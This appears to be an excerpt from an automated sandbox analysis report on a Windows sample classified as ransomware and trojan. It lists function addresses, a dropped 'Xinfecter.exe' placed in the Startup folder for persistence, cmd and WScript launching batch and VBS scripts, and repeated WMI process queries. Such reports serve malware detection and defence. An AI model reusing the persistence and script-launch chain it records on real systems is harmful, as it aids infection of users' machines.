      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C381A042_2_00C381A0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C4411042_2_00C44110
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1A2C042_2_00C1A2C0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C642D442_2_00C642D4
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C362EB42_2_00C362EB
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE824042_2_00BE8240
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C223C042_2_00C223C0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE838042_2_00BE8380
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF5042_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3844042_2_00C38440
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE05AA42_2_00BE05AA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3C7C542_2_00C3C7C5
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3674642_2_00C36746
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C448D042_2_00C448D0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEE83042_2_00BEE830
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE69E042_2_00BE69E0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C8E90D42_2_00C8E90D
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BD8A8042_2_00BD8A80
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C66A5842_2_00C66A58
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF5042_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C44B7042_2_00C44B70
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00CA0B0442_2_00CA0B04
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C18E9042_2_00C18E90
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C68E4A42_2_00C68E4A
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C10E0042_2_00C10E00
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C78FE042_2_00C78FE0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C34FA742_2_00C34FA7
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C34FB442_2_00C34FB4
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEAF5042_2_00BEAF50
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3CF3F42_2_00C3CF3F
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3D2C642_2_00C3D2C6
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BD92A042_2_00BD92A0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C212A042_2_00C212A0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C7925242_2_00C79252
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BD533042_2_00BD5330
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1330042_2_00C13300
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3533B42_2_00C3533B
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1540042_2_00C15400
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C5F5F042_2_00C5F5F0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C835A342_2_00C835A3
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3D55742_2_00C3D557
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEF57042_2_00BEF570
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C1163042_2_00C11630
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C837D242_2_00C837D2
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C4386042_2_00C43860
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C9987942_2_00C99879
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C7B81742_2_00C7B817
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C3D99042_2_00C3D990
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C4990842_2_00C49908
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE9ABA42_2_00BE9ABA
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BDDAB042_2_00BDDAB0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C63AE542_2_00C63AE5
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEDAF042_2_00BEDAF0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE5AC042_2_00BE5AC0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BDBA6042_2_00BDBA60
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C91B7142_2_00C91B71
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BE1B7F42_2_00BE1B7F
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C89CD042_2_00C89CD0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C35C8442_2_00C35C84
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C43C7042_2_00C43C70
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C13E8042_2_00C13E80
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C35EA842_2_00C35EA8
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00BEDAF042_2_00BEDAF0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: 42_2_00C37FA042_2_00C37FA0
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00C6157D appears 159 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00C01BD0 appears 68 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00C0B8D0 appears 50 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00C615B1 appears 63 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00C09B40 appears 96 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00C080D0 appears 41 times
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeCode function: String function: 00C61B70 appears 60 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 00A515B1 appears 82 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 00A50C3C appears 58 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 009F80D0 appears 45 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 009F9B40 appears 64 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 009FB8D0 appears 48 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 00A5157D appears 186 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 00A51B70 appears 70 times
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: String function: 009F1BD0 appears 68 times
      Source: lEUy79aLAW.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
      Source: classification engineClassification label: mal100.rans.troj.adwa.evad.winEXE@117/22@1/2
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeCode function: 0_2_009D5920 PathIsNetworkPathA,__alloca_probe_16,MultiByteToWideChar,GetDiskFreeSpaceExW,0_2_009D5920
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeJump to behavior
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3116:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7224:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3712:120:WilError_03
      Source: C:\Users\user\Desktop\lEUy79aLAW.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
      Source: lEUy79aLAW.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4&quot;::GetOwner
      Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4&quot;::GetOwner
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4&quot;::GetOwner
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;92&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;332&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;420&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;496&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;504&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;564&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;632&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;640&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;752&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;780&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;788&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;872&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;924&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;992&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;444&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;732&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;280&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1032&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1056&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1068&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1148&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1188&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1232&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1324&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1384&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1416&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1424&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1460&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1584&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1612&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1660&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1688&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1700&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1820&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1836&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1936&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1944&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;1952&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2024&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2096&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2152&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2188&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2204&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2240&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2392&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2400&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2440&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2484&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2492&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2528&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2588&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2596&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2628&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2768&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2868&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2932&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3260&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3512&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3696&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3756&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3984&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2456&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4132&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4800&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4572&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5152&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5932&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;6708&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;6792&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;6836&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;6960&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3584&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;4536&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5320&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3376&quot;::GetOwner
